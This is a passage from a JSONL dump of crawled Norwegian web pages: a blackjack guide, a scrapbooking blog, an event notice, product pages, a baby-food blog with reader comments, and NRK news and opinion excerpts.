h\u00e5nd enn deg. Nummererte kort har samme verdi som kortet viser, bildekort er verdt 10 og Ess er verdt 1 eller 10 \u2013 avhengig av hva som passer best. Om man klarer \u00e5 f\u00e5 totalsummen av sine\u00a0 kort til \u00e5 bli 21, s\u00e5 har man f\u00e5tt blackjack, og da vinner man vanligvis 3:2 p\u00e5 den opprinnelige\u00a0 innsatsen.\n\nEtter at dealeren har\u00a0 delt ut dine to f\u00f8rste kort s\u00e5 har du to ulike alternativ:\n\n  - **Hit**: Du velger \u00e5 motta ett ekstra kort, dette gj\u00f8res vanligvis n\u00e5r man\u00a0 har f\u00e5tt t\u00e5 kort av dealeren som er s\u00e5pass lave at man regner med \u00e5 bli sl\u00e5tt av huset.\n  - **Stand**: Du velger \u00e5 ikke f\u00e5 flere kort, det er en bra ide om din\u00a0 h\u00e5n allerede er h\u00f8y, og risikoen er stor for \u00e5 komme over 21 om du f\u00e5r ett kort til.\n\nHvis du f\u00e5r utdelt et par s\u00e5 kan du velge \u00e5 splitte h\u00e5nden din. Da deles h\u00e5nden i to , og du legger inn et ekstra spill av samme st\u00f8rrelse som ditt opprinnelige.\u00a0 Noen online kasinoer tilbyr ogs\u00e5 muligheten for \u00e5 gi opp h\u00e5nden, det betyr at hvis du hadde en veldig d\u00e5rlig h\u00e5nd\u00a0 som er et par, s\u00e5 kan du velge \u00e5 gi opp. Da taper du halvparten av innsatsen og f\u00e5r beholde den andre halvparten.\n\n  - Du kan ogs\u00e5 velge \u00e5 doble din innsats etter den\u00a0 f\u00f8rste tildelingen , men da f\u00e5r du bare f\u00e5r ett ekstra kort fra dealeren.\n  - Sist men ikke minst, kan du velge \u00e5 ta ut forsikring . Dette gj\u00f8r du om du mistenker att dealeren \u00a0har f\u00e5tt blackjack.\u00a0 Om dette stemmer s\u00e5 vinner du 2 ganger innsatsen.\n\n\n\n## Noen strategiske tips\n\nDenne lille guiden er ment som ett f\u00f8rste innblikk i blackjackverdenen og dens strategier, s\u00e5 vi vil derfor ikke g\u00e5 for detaljert inn p\u00e5 hvordan man regner ut odds. Til \u00e5 begynne med kan det v\u00e6re bra \u00e5 f\u00f8lge noen generelle tommelfingerregler n\u00e5r du spiller \u2013 mens du \u00f8ker din erfaring og kompetanse. Her kommer noen:\n\n  - Pass p\u00e5 \u00e5 ikke satse mer enn du har r\u00e5d til \u00e5 tape. Spillet blackjack p\u00e5 online casinoer g\u00e5r raskere enn n\u00e5r man spiller live, og du spiller flere hender per minutt og satser derav mer penger . En tommelfingerregel er \u00e5 aldri satse mer enn 5 % avdin saldo per spill i online casino .  \n    Vanligvis s\u00e5 kj\u00f8rer man p\u00e5 til man n\u00e5r 17 eller h\u00f8yere, stopp alltid n\u00e5r du kommer til 17 , fordi risikoen er overhengende for at det neste kortet gj\u00f8r summen st\u00f8rre enn 21 , og du taper innsatsen din til huset.\n  - Unng\u00e5 \u00e5 spille med forsikring. \u00a0Sjansen for at dealeren f\u00e5r blackjack er sv\u00e6rt liten, og utbetalingen er ikke h\u00f8y nok til \u00e5 gj\u00f8re det innsatsen verdt .\n  - N\u00e5r du vurderer \u00e5 splitte etter at du har f\u00e5tt tildelt de to f\u00f8rste kortene , s\u00e5 splitt alltid ess og 8, men aldri 6, 10 eller ansiktskortene n\u00e5r du spiller blackjack.\n  - Er du helt ny n\u00e5r det kommer til bordspill , s\u00e5 det er en god id\u00e9 \u00e5 begynne \u00e5 spille blackjack p\u00e5 et online kasino i stedet for \" p\u00e5 ordentlig \" . Casinos online tilbyr ofte en treningsmodus der du kan spille uten \u00e5 satse ekte penger . P\u00e5 denne m\u00e5ten kan du l\u00e6re deg det grunnleggende i spillet uten \u00e5 kaste penger ut av vinduet\\!\n\nN\u00e5 h\u00e5per vi at du her har l\u00e6rt litt mer om blackjack og at du vil bruke disse tipsene n\u00e5r du spiller blackjack online.\u00a0Er du klar for \u00e5 teste ut selv,\u00a0kan du g\u00e5 inn p\u00e5 et av casinoene i topplisten v\u00e5r (den finner du p\u00e5 forsiden).\n\n", "language": "no", "__index_level_0__": "7d3bb5c1-d699-46a9-9c8b-017f96a1ca27"}
{"url": "http://sisselsdallogdill.blogspot.com/2011/09/scrappetreff.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:44:19Z", "text": " \n\n   Velkommen til bloggen min\\! :-)  \n  \n S\u00e5 hyggelig at akkurat du titter innom\\! :-)  \n  \nBle introdusert for en fantastisk \"scrappeverden\" h\u00f8sten 2010 og siden har det blitt mye papir, lim og glitter.   \n  \nOm du \"scroller\" deg nedover og titter litt rundt, vil du for det meste finne mine papirkreasjoner.  \nLager mest kort, men pr\u00f8ver meg ogs\u00e5 p\u00e5 en LO i ny og ne. Stilen min tror jeg kan kalles \"hummer\\&kanari\".   \n  \nStorkoser meg med denne hobbyen som har uante muligheter for utfoldelse p\u00e5 det kreative plan.  \nLiker ogs\u00e5 \u00e5 strikke og hekle... s\u00e5 kanskje ikke alt som kommer her er av papir\\! :-)  \n  \nBlir veldig glad om du legger igjen en liten kommentar.  \n Ha en riktig fin dag\\!  \n\n    \n\n## mandag 19. september 2011\n\n### Scrappetreff\n\nHar hatt en kjempefin helg p\u00e5 scrappetreff i Kristiansund.\n\nEn super gjeng med kreative og glittrende damer.\n\nTakk til alle som var der for en flott helg\\!\n\n  \nHer kommer noe av det jeg laget p\u00e5 treffet:\n\n  \n\n\nVar p\u00e5 glimmermist-kurs med Lisen.\n\nKjempeinspirerende\\!\\! L\u00e6rte meg flere nye teknikker.\n\nP\u00e5 dette kortet er det brukt liquid pearl og glimmermist, pyntet med hjerter fra Nille og mask (funnet i s\u00f8ppelposen til naboscrappedama Lise)  \n  \n\nUtfordringer:\n\nPapirdokkene - Spl\u00e6sj og d\u00e6sj\n\n  \n Lagt inn av  \nSissel  kl. \n\n14:44           \n\n#### 8 kommentarer:\n\n1.  \n    \n    nedergaard19. september 2011 kl. 14:48\n    \n    Hvor er det smukt og enkelt... ser s\u00e5 flot ud med glimmermisten. Ogs\u00e5 de andre kort og LO herunder er super flotte. M\u00e5 have v\u00e6ret nogle sk\u00f8nne kursus du har v\u00e6ret p\u00e5.  \n    Ha en god dag\\!\\!\\!\n    \n2.  \n    \n    Anne19. september 2011 kl. 18:17\n    \n    S\u00e5 kult kort, og for en herlig frisk farge\\! Lekker med den enkle hjertepynten\\!  \n      \n    Takk for at du scrapper med oss Papirdokker  \n      \n    Smil fra Anne:)\n    \n3.  \n    \n    Gro19. september 2011 kl. 19:17\n    \n    Skikkelig lekkert kort.  \n    Takk for at du deler med oss hos Papirdokkene.  \n      \n    Klem :o)\n    \n4.  \n    \n    sisla19. september 2011 kl. 23:31\n    \n    Super dupert kort dette, takk for en koselig helg p\u00e5 Frei. Gleder meg til vi treffes igjen.  \n    Klem ;-)\n    \n    SvarSlett\n5.  \n    \n    Audhild20. september 2011 kl. 19:20\n    \n    Lekkert\\! :-)\n    \n6.  \n    \n    Guri20. september 2011 kl. 22:42\n    \n    Dette kortet var stilig. Spennande teknikk du har brukt her.\n    \n7.  \n    \n    Scrappehelg p\u00e5 Hotel Union20. september 2011 kl. 23:05\n    \n    Takk for nok ei kjekk helg\\! Dette kortet var berre lekkert\\! Gler meg til neste gang vi treffast. Kva helg passar best for deg? Belinda\n    \n8.  \n    \n    Sissel21. september 2011 kl. 15:38\n    \n    S\u00e5 mye flott du har laget, skikkelig effektiv p\u00e5 treff du:)  \n    Nydelige farger p\u00e5 dette kortet, s\u00e5 s\u00f8tt med hjertene.  \n    Klem Sissel\n    \n\n\n  - Sissel  \n    Godt voksen, mor til to, sykepleier og l\u00e6rer. Ble h\u00f8sten 2010 bitt av \"papirbasillen\"... som viser seg \u00e5 v\u00e6re en kronisk, uhelbredelig tilstand\\!\n\n", "language": "no", "__index_level_0__": "61debc2a-b75d-4fe1-8bac-2786e4b49f70"}
{"url": "http://nabovarsel.info/2014/02/nabovarsel-spencer-uk-numbers/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:07:49Z", "text": "# NABOVARSEL: SPENCER (UK / NUMBERS)\n\n\n\n**NABOVARSEL: SPENCER (UK / NUMBERS)**  \nL\u00f8rdag 15. mars  \nVenue: Landmark Bergen\n\nV\u00e5rt andre bes\u00f8k fra det helt sinnsyke plateselskapet Numbers i \u00e5r er fra en av sjefene sj\u00f8l, nemlig skotske Spencer.\n\nEtter \u00e5 ha griset til Glasgow som DJ sammen med Jackmaster skulle de da senere stifte dette plateselskapet som har gitt ut toneangivende l\u00e5ter fra folk som Jamie XX, SBTRKT, Sophie og Rustie.\n\nVi er stolte av \u00e5 f\u00e5 bes\u00f8k fra en av bassmusikkens mest toneangivende DJ-s om dagen.\n\nmer info kommer\n\nD\u00f8rene \u00e5pner 22:00  \nCC: 100 NOK  \nAldersgrense: 20 \u00e5r\n\n", "language": "no", "__index_level_0__": "aaaffccd-a757-4fe6-a903-da655def8a9c"}
{"url": "http://www.asko-netthandel.no/aktuelt-fra-asko/aktuelt/arets-asko-priser/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:22:50Z", "text": "# \u00c5rets ASKO-priser\n\n04.01.2018\n\nP\u00e5 ASKO Servering og NorgesGruppens kunde- og leverand\u00f8rdager ble restaurantkjeden Lucky Bowl k\u00e5ret til \u00c5rets kunde i konkurranse med Hunderfossen familiepark og reiselivsdestinasjonen Hamn i Senja.\u00a0 Begrunnelsen for pristildelingen er blant annet at vinneren har fin utvikling og god drift, er et samlingspunkt i n\u00e6rmilj\u00f8et, er innovativ og har lojalitet til avtaler.\n\n\u00a0\nI kategorien \u00c5rets leverand\u00f8r ble BAXT vinneren i skarp konkurranse med \u00c5dne Espeland/J\u00e6der og Haugen-Gruppen. Juryens begrunnelse for tildelingen av prisen er blant annet at leverand\u00f8ren utmerker seg med en god forst\u00e5else for drift ute hos kundene, er gode p\u00e5 samarbeid og har h\u00f8y kompetanse. Videre er leverand\u00f8ren dyktig p\u00e5 innovasjon og gir god og riktig informasjon om sin produktportef\u00f8lje.\n\n\u00a0\nI kategorien \"\u00c5rets produkt\", var det hard konkurranse mellom Philly Steak fra Sl\u00e5tto, Krydderblandinger uten salt fra Santa Maria og Oumph fra Food for progress Scandinavia. Av disse ble Oumph utpekt som vinner. I begrunnelsen for dette valget, sier juryen bl.a. f\u00f8lgende:\n\nDette er en reell nyhet som treffer p\u00e5 mange viktige punkter for innovasjon. Dette produktet har hatt en jevn og h\u00f8y vekst siden lanseringen, og har bred appell p\u00e5 kjede- og kundeniv\u00e5.\n\n\u00a0\n\u00c5rets utfordrerpris gikk denne gang til R\u00f8rosmeieriet. Dette er en leverand\u00f8r som satser p\u00e5 kvalitet og gode produkter, og som t\u00f8r \u00e5 utfordre i et marked med f\u00e5 og store leverand\u00f8rer. \u00c5rets utfordrer tar ogs\u00e5 milj\u00f8utfordringene p\u00e5 alvor og jobber mye med b\u00e6rekraftige alternativer og \u00f8kologi.\n\n", "language": "no", "__index_level_0__": "76c0e11a-6df7-4321-936e-781791eb765b"}
{"url": "http://blogg.japanphoto.no/arrangementer/fotografen-2015/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:45:21Z", "text": "# Fotografen 2015\n\n**3. February 2015\n\n**Bj\u00f8rg\n\n\n\n**Foto.no, i samarbeid med Japan Photo og Cyan :galleri har gleden av \u00e5 invitere til konkurransen Fotografen 2015. Her kan du vinne premier til en verdi av n\u00e6rmere 150 000 kr\\!**\n\n1\\. februar kan du begynne \u00e5 sende inn bidrag. Konkurransen g\u00e5r over seks runder med et tema for hver gang. Hver runde juryeres av en profesjonell jury, og vinnerne sanker poeng som de tar med videre til de neste rundene. Den som har flest poeng i slutten av \u00e5ret k\u00e5res til Fotografen 2015.\n\n\n\n\"Hvert \u00e5r gleder vi oss over \u00e5 se mangfoldet blant bildene som sendes inn, og vi f\u00e5r muligheten til \u00e5 l\u00f8fte frem nye og etablerte fotografer. Dette er en konkurranse som har f\u00e5tt veldig god respons de fire gangene den har blitt arrangert\", sier Frank Hesjedal, redakt\u00f8r i foto.no\n\n\"Med konkurransen \u00f8nsker vi ogs\u00e5 \u00e5 l\u00f8fte fotografiet frem og ikke minst sette fokus p\u00e5 god kvalitet. Med en profesjonell jury og konkrete tilbakemeldinger p\u00e5 de beste bildene og seriene, fors\u00f8ker vi \u00e5 inspirere og pushe deltagerne til \u00e5 bli enda bedre fotografer,\" sier han videre.\n\n**Japan Photo har gleden av \u00e5 dele ut premier for n\u00e6rmere 150 000 kr til vinnerne\\!  \n**Runde- vinnerne f\u00e5r et gavekort fra Japan Photo p\u00e5 pro-produkter til en verdi av 5000 kr, men nummer to f\u00e5r et gavekort verdt 3000 kr. Den som st\u00e5r igjen som Fotografen 2015 f\u00e5r et gavekort fra Japan Photo p\u00e5 pro-produkter til en verdi av hele 50 000 kr, samt en seperatutstilling p\u00e5 Cyan :galleri i Oslo produsert av Japan Photo av Japan Photo XXL for inntil 50 000 kr.\n\n**F\u00f8rste runde starter 1.februar og varer til 1. mars.**  \nDet f\u00f8rste temaet er \"Fritt\". De andre rundene har f\u00f8lgende temaer: \"milj\u00f8\" (serie p\u00e5 3-8 bilder), \"Manipulasjon\" (enkeltbilde), \"Ung idag\" (serie p\u00e5 3-8 bilder), \"Landskap\" (enkeltbilde) og selvportrett (enkeltbilde)\n\nTidligere vinnere er Arne Str\u00f8mme (2011), Steinar Figved (2012), Matias \u00d8steb\u00f8 (2013) og Jan Olav Bredesen (2014)\n\n", "language": "no", "__index_level_0__": "6d43c07a-9b26-4b5e-91b4-db8fa3aecbae"}
{"url": "https://h-shop.no/butikk/smoremiddel-fluid-lanolin", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:39:01Z", "text": "# Sm\u00f8remiddel Fluid Lanolin\n\n# Fluid Film stopper rust\n\n**Fluid Film\u00a0**er basert p\u00e5 lanolinolje (ullfett/sauefett)\u00a0og har v\u00e6rt brukt i hele verden siden 1943 p\u00e5 skip og i offshoreindustren, bl.a. p\u00e5 grunn av sine saltvannsbestandige egenskaper.\u00a0P\u00e5 grunn av de gode rustbeskyttende og ikke minst ruststoppende egenskapene,\u00a0har Fluid Film vokst seg store innenfor mange bransjer og bruksomr\u00e5der. Vi erfarer at den virker helt unikt til understellsbehandling - og at vanlige antirustmidler\u00a0fungerer d\u00e5rlig p\u00e5 biler som har begynt \u00e5 ruste.\u00a0\n\nFluid Film NAS er sv\u00e6rt penetrerende, fortrenger vann og samler ikke skitt slik som vanlig olje gj\u00f8r. \u00c5pne kjeder kan derfor forlenge levetiden med 300%\\! Da den ikke fordamper eller st\u00f8rkner, er den aktiv og penetrerende over lang tid. Den egner seg derfor sv\u00e6rt godt som rustl\u00f8ser og sm\u00f8remiddel. I l\u00f8pet av et par m\u00e5neder vandrer den ca. 15 cm - gjennom popnagler, falser osv. - enest\u00e5ende til hulromsbehandling\\!\u00a0Link Video brukt p\u00e5 sn\u00f8m\u00e5ke og sn\u00f8freser.\n\n***\"Jeg er sikker p\u00e5 sn\u00f8scooteren g\u00e5r 30 km/t fortere med Fluid Film spray p\u00e5 beltene. Sn\u00f8en preller av og beltene glir lettere.\"***\n\nFluid Film er ikke konduktiv og brukes derfor p\u00e5 elektriske terminaler og kontakter, fordelerlokk, batteripoler osv.\u00a0\n\n## Sm\u00f8remiddel Fluid Lanolin\n\n", "language": "no", "__index_level_0__": "feb8dfde-a39a-4bae-b1ec-3a930eb9cfaf"}
{"url": "https://margitvea.no/blogg/kresen-liten-gane/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:25:23Z", "text": "# Kresen liten gane\n\n  - Skrevet av Margit Vea\n  - 22\\. april 2011\n\n\u00a0\n\n\nTorvalds fine smaksl\u00f8ker godtar kun hjemmelaget\n\nForrige helg hadde vi bes\u00f8k av Torvald p\u00e5 ett \u00e5r. Han elsker foreldrenes hjemmelagede mat. De kunne fortelle om da Torvald var p\u00e5 langtur med mor og far og tre eldre br\u00f8dre. For enkelthet skyld kj\u00f8pte mor et glass industriprodusert middag. Innholdet i det f\u00f8rste glasset ble spontant avvist. Mor pr\u00f8vde igjen med et nytt glass fra butikken, men Torvald ristet p\u00e5 hodet og spyttet ut mosen. Hele ti forkjellige glass med ulike smaker og farger ble kj\u00f8pt inn, men ingen kj\u00f8pemat var god nok for Torvalds kresne gane. Far og mor m\u00e5tte til \u00e5 lage maten til Torvald fra bunnen av likevel, og gutten spiste glad og forn\u00f8yd med god appetitt. Kun hjemmelaget er godt nok, selv p\u00e5 tur.\n\nMatvaner formes tidlig. Torvald er et levende eksempel p\u00e5 at ferdigmat p\u00e5 glass ikke smaker som hjemmelaget. Blir barnet vant til industriprodusert mat p\u00e5 glass, vil det sannsynligvis foretrekke det, og motsatt. Hvis barnet kun f\u00e5r industriprodusert middag og gr\u00f8t det f\u00f8rste \u00e5ret, er det kanskje ikke rart om det rynker litt p\u00e5 nesen n\u00e5r hjemmelaget mat, mat familien ellers spiser og andre fremmende smaker plutselig blir tilbudt?\n\nJeg husker godt selv da vi under en ferie kj\u00f8pte ferdigmat til eldstemann da han var baby. Han spiste det meste han ble tilbudt, det var ikke det. Men magen reagerte og bleiene rant fullstendig over. Neste gang vi var p\u00e5 tur og pr\u00f8vde oss p\u00e5 ferdigmat, skjedde det samme. Da ble det enklere \u00e5 lage reisematen selv.\n\n**Her er noen enkle tips til mat p\u00e5 tur:**\n\nNistematen trenger ikke v\u00e6re komplisert. Avokado med frukt metter godt og er praktisk mat p\u00e5 tur. Velg en avokado som er fast, men likevel gir etter for et lett trykk p\u00e5 toppen og i bunnen. Du kan blande avokado med banan, finrevet p\u00e6re, most honningmelon eller en melon. Avokadokj\u00f8ttet m\u00f8rkner n\u00e5r det kommer i kontakt med luft, men dette unng\u00e5r du n\u00e5r du blander det med frukt som inneholder vitamin C, eller lar steinen ligge i mosen frem til den skal spises.\n\nDet er ogs\u00e5 mulig \u00e5 servere barnet finraspet eple og p\u00e6re. Frukten kan ogs\u00e5 blandes med finraspet gulrot. Bland gjerne inn litt olje, 1 ts per gulrot eller hel frukt, i denne salaten. Vitamin A i gulroten er et fettl\u00f8selig vitamin, og det suges lettere opp i tarmen sammen med fett. Et raskt opp- kok gj\u00f8r salaten lettere \u00e5 tygge for dem som enn\u00e5 ikke har f\u00e5tt s\u00e5 mange tenner.\n\nGod tur\\!\n\nSist oppdatert 6. januar 2018\n1.  #### Helen: kjernesunn-nordkvinne.blogspot.com\n    \n    7 \u00e5r siden\n    \n    Gode r\u00e5d\\! Tar dem med meg\u2026 \ud83d\ude42\n    \n     Svar \n\n2.  #### Ragnhild\n    \n    7 \u00e5r siden\n    \n    Kjempekresen gane her i g\u00e5rden ogs\u00e5, og han brekker seg av \u00f8rsm\u00e5 klumper i maten, s\u00e5 her m\u00e5 det virkelig moses, til tross for at han snart er 10 mnd\\! H\u00e5per det bedrer seg \ud83d\ude42\n    \n    Tusen takk for informativ blogg\\!\n    \n3.  #### Tonje\n    \n    7 \u00e5r siden\n    \n    Jeg f\u00e5r nesten lyst p\u00e5 baby igjen, s\u00e5 jeg kan fortsette \u00e5 lage babymat. \ud83d\ude42 Her spiste snuppa (1,5 \u00e5r) bare hjemmelaget babymat og gr\u00f8t (mye inspirert av dine tips), og n\u00e5 storkoser hun seg med \"voksenmaten\" sammen med oss andre. Det er s\u00e5 godt \u00e5 vite s\u00e5nn noenlunde hva de f\u00e5r i seg, synes jeg. \ud83d\ude42\n    \n    Er du forresten klar over at Pampers for en tid tilbake sendte ut inspirasjonsskriv med spesialtema mat, hvor de skrev flg. (sitat): \"N\u00e5r du begynner med gr\u00f8t eller velling b\u00f8r du velge de berikede produktene man kan kj\u00f8pe i butikken. Hjemmelaget inneholder vanligvis ikke nok jern og B-vitaminer.\" Ikke et ord om hva man kan gj\u00f8re for \u00e5 \"jernberike\" maten selv. Da er det ikke rart at folk ikke \"t\u00f8r\" \u00e5 lage gr\u00f8ten selv.\n    \n4.  #### Margit Vea\n    \n    7 \u00e5r siden\n    \n    Jeg var ikke klar over inspirasjonsskrivet til Pampers, eller reklamen for berikede produkter fra butikken. Men jeg vet at mange f\u00e5r samme informasjon fra helsestasjonen. Jeg kjenner mange foreldre som er blitt m\u00f8tt med kritiske kommentarer n\u00e5r de stolt fortalte at de lager gr\u00f8ten fra bunnen av \u2013 hjemmelaget gr\u00f8t.\n    \n    Helsestasjonen b\u00f8r i st\u00f8rre grad oppmuntre foreldre til \u00e5 lage maten selv, opplyse hvordan berike hjemmelaget gr\u00f8t p\u00e5 naturlig m\u00e5te.\n    \n5.  #### Tonje\n    \n    7 \u00e5r siden\n    \n    Enig med deg.\n    \n    Vi var faktisk s\u00e5 heldige at vi fikk et hefte av Helsedirektoratet fra helsestasjonen v\u00e5r da lillegull ble f\u00f8dt. Heftet handlet om spedbarn og mat. Her var det blant annet oppskrifter p\u00e5 middagsmat hjemmelagde gr\u00f8ter, og beskrivelse av hvordan man kan utnytte jernet i den hjemmelagde babygr\u00f8ten. Den var veldig nyttig for oss.\n    \n    Ei venninne jeg har i en annen by hadde ikke f\u00e5tt denne brosjyren, og jeg tror ikke en gang de hadde den p\u00e5 helsestasjonen da hun spurte etter den.\n    \n6.  #### Anonym\n    \n    6 \u00e5r siden\n    \n    Hei Jeg har et sp\u00f8rsm\u00e5l om avokado og hjemmlagde fruktpureer p\u00e5 glass.\n    \n    Hvor lenge holder det seg i kj\u00f8leskapet i luftette bokser? Og kan jeg fryse ned f.eks mos av avokado og banan/eple?\n    \n    Hilsen Ingvild, som ikke er noen kokk, men som \u00f8nsker det beste for min lille 6 mnd gamle baby \ud83d\ude42\n    \n7.  #### Margit Vea\n    \n    6 \u00e5r siden\n    \n    Hei igjen\\! Du trenger ikke v\u00e6re kokk for \u00e5 gi det beste til din lille baby:-) N\u00e5r det gjelder fruktpureer, s\u00e5 er de ofte greie \u00e5 fryse. N\u00e5 har ikke jeg fryst avokado, da det er s\u00e5 enkelt \u00e5 kn\u00f8 i farten \u2013 ei heller banan. Jeg vet det g\u00e5r fint an \u00e5 fryse banan i skall, og du kan ogs\u00e5 pr\u00f8ve sammen med andre frukter, i tett boks. Kan v\u00e6re lurt \u00e5 tilsette litt sitron i s\u00e5 fall, s\u00e5 blir den ikke brun s\u00e5 rast (gjelder ogs\u00e5 avokado). Jeg vil anbefale deg \u00e5 ev. fryse ned frukt som epler og p\u00e6rer, og ev. mos av b\u00e6r. De holder seg meget godt i fryseren. Pr\u00f8v deg frem .\n    \n    Lykke til\\!\n    \n8.  #### Anonym\n    \n    6 \u00e5r siden\n    \n    jeg har veldig lyst \u00e5 lage hjemmelaget gr\u00f8t og kan noen legge ut oppskrift her og tips til hvordan man jernberiker gr\u00f8ten? S\u00e5 lurer jeg ogs\u00e5 p\u00e5 om noen kan fortelle meg hvilekn mat man kan gi av middag og p\u00e5legg og br\u00f8d osv..til babyer/ barn under et \u00e5r? Hva er det man ikke kan gi, har h\u00f8rt man ikke kan gi egg,jordb\u00e6r,salt, sukker, tilsetningsstoff, kumelk osv\u2026men det er jo ikke s\u00e5 mange p\u00e5legg \u00e5 velge i da n\u00e5r man ikke kan ha dette i.takknemlig for svar\n    \n     Svar \n\n9.  #### Anonym\n    \n    6 \u00e5r siden\n    \n    Hei, jeg lurer p\u00e5 om det er uheldig \u00e5 gi Holle \u00f8kologisk risgr\u00f8t/hirsegr\u00f8t/havregr\u00f8t osv hvor man tilsetter Holle eller Hipp \u00f8kologiske tilskuddsblanding? Jeg har m\u00e5ttet gj\u00f8re det for \u00e5 f\u00e5 en fin og jevn gr\u00f8t for da jeg brukte morsmelk s\u00e5 ble gr\u00f8ten s\u00e5 veldig tynn og vanskelig \u00e5 servere.\n    \n    Er det uheldig siden dette er industrifremstilt, jeg vil jo gi det beste til barnet mitt men det er ikke lett \u00e5 vite hva man b\u00f8r gi/ikke gi n\u00e5r gr\u00f8ten blir for vassen med morsmelk.\n    \n    Tidligere ville lillemor ha noen porsjoner gr\u00f8t men n\u00e5 er hun ca 9 mnd og vil hovedsakalig kun ammes og spiser bare 4-5 tekjeer med gr\u00f8t for dag.er ikke det veldig lite/uvanlig n\u00e5r man er snart 9 mnd?\n    \n    er det uheldig \u00e5 gi tilskuddsblanding slik at hun blir skikkelig mett i tillegg til \u00e5 ammes for hun virker ikke forn\u00f8yd og da tenker jeg at det m\u00e5 v\u00e6re fordi hun ikke er skikkelig mett.\n    \n    ER forresten tilskuddsblanding det samme som morsmelkerstatning?\n    \n    Jeg synes det er vanskelig \u00e5 vite hva jeg b\u00f8r gj\u00f8re /ikke gj\u00f8re s\u00e5 jeg vil gjerne ha r\u00e5d/tips.\n    \n10. #### Margit Vea\n    \n    6 \u00e5r siden\n    \n    Siden datteren din snart er 9 m\u00e5neder, ville jeg i stedet for tilskuddsblanding og morsmelkerstatning brukt enten kun vann eller en blanding av helmelk og vann i starten, gjerne \u00f8kologisk melk. S\u00e5 lenge det ikke blir s\u00e5 mye melk, g\u00e5r det helt fint. Mange barn begynner ogs\u00e5 \u00e5 spise br\u00f8d og mer kokte gr\u00f8nnsaker (hele som de spiser selv) i denne alderen, bruker tenner og gommer. Gr\u00f8nnsaker og middag er veldig bra \u00e5 gi mer av i denne alderen, gjerne til kvelds ogs\u00e5. Hvis du vil gi henen br\u00f8d, ville jeg pr\u00f8vd \u00e5 bake br\u00f8d ( se blant annet oppskrift p\u00e5 br\u00f8d p\u00e5 forsiden), eller kj\u00f8pe ordentlig godt br\u00f8d p\u00e5 bakeri, ev. \u00f8kologisk hvis du har det tilgjengelig.\n    \n    Tilskuddsblanding har jeg ikke v\u00e6rt bort i, men skal unders\u00f8ke hva det er.\n    \n11. #### Jern og palmeolje i barnemat \u2013 Margit Vea\n#### Margit Vea\n\nMargit Vea har en visjon om \u00e5 skape begeistring og engasjement for matlaging og naturlige r\u00e5varer. Maten vi har p\u00e5 tallerkenen skal gjenspeile respekt for milj\u00f8, dyr og mennesker.\n\n", "language": "no", "__index_level_0__": "0f9efe02-502f-4b8c-b17c-e2e0610a8fb9"}
{"url": "https://www.nrk.no/nyheter/trafikkaos-i-israel--1.13120229", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:44:42Z", "text": "## Trafikkaos i Israel\n\nIsraelske pendlere ble rammet av et enormt trafikkaos s\u00f8ndag etter at ultraortodokse politikere tvang jernbanen til \u00e5 stanse reparasjonsarbeider p\u00e5 sabbaten l\u00f8rdag. Statsminister Benjamin Netanyahu tok avgj\u00f8relsen etter press fra ultraortodokse partier som truet med \u00e5 forlate regjeringskoalisjonen.\n\n", "language": "no", "__index_level_0__": "b7347697-524f-4078-bbbc-638513c9ae3a"}
{"url": "https://www.bangerhead.no/wella-professionals-enrich-moisturizing-conditioner-fine--no", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:04:02Z", "text": "# Wella  \n**Wella Professionals Enrich Moisturizing Conditioner Fine**\n\n195 kr  kr \n\nWella Enrich Moisturizing Conditioner Fine er en balsam som gir fuktighet til t\u00f8rt og skadet h\u00e5r.\n\nDen lette balsamen gir fuktighet til h\u00e5ret og gir ogs\u00e5 fint h\u00e5r en vektl\u00f8s bevegelse.\n\nEnrich er en produktserie som gir fuktighet til t\u00f8rt og skadet h\u00e5r med silkesekstrakt.\n\n|               |            |\n| ------------- | ---------- |\n| St\u00f8rrelse:    | 200ml      |\n", "language": "no", "__index_level_0__": "5a8593b6-c55e-4e1d-a5ff-b65894887de1"}
{"url": "https://www.nrk.no/ytring/rapport-med-to-skandaler-1.11251384", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:56:03Z", "text": "# Riksrevisjon og regjering \u2013 to skandaler?\n\nHvis Riksrevisjonen har rett i en ny rapport, har Olje- og energidepartementet feilinformert Stortinget. Hvorfor fortalte ingen oss dette f\u00f8r valget?\n\n\n\n\n\nEn ny rapport fra Riksrevisjonen rommer to potensielle skandaler. F\u00f8rst p\u00e5st\u00e5s det at Olje- og energiministeren har feilinformert Stortinget. Dernest kan man lure p\u00e5 hvorfor en rapport som var ferdig f\u00f8r sommeren, kommer *etter* valget. Hvis Riksrevisjonens rapport er riktig, og den har blitt tilbakeholdt fra offentligheten, b\u00f8r vi forvente oss omfattende granskninger.\n\n## Alvorlige p\u00e5stander\n\nDen 17. september slapp Riksrevisjonen sin rapport om kostnadsstyringen av CO2-h\u00e5ndteringen p\u00e5 K\u00e5rst\u00f8 og Mongstad-anleggene. Den rapporten er oppsiktsvekkende lesning, av grunner som synes like mange som alvorlige.\n\n> Det er vanskelig \u00e5 understreke nok hvor alvorlig dette er.\n> \n> **Morten Kinander, jurist og filosof i Civita\n\nRiksrevisjonen ville unders\u00f8ke om Stortingets bevilgninger til CO2-renseanleggene har blitt h\u00e5ndtert av Regjeringen p\u00e5 en hensiktsmessig og forsvarlig 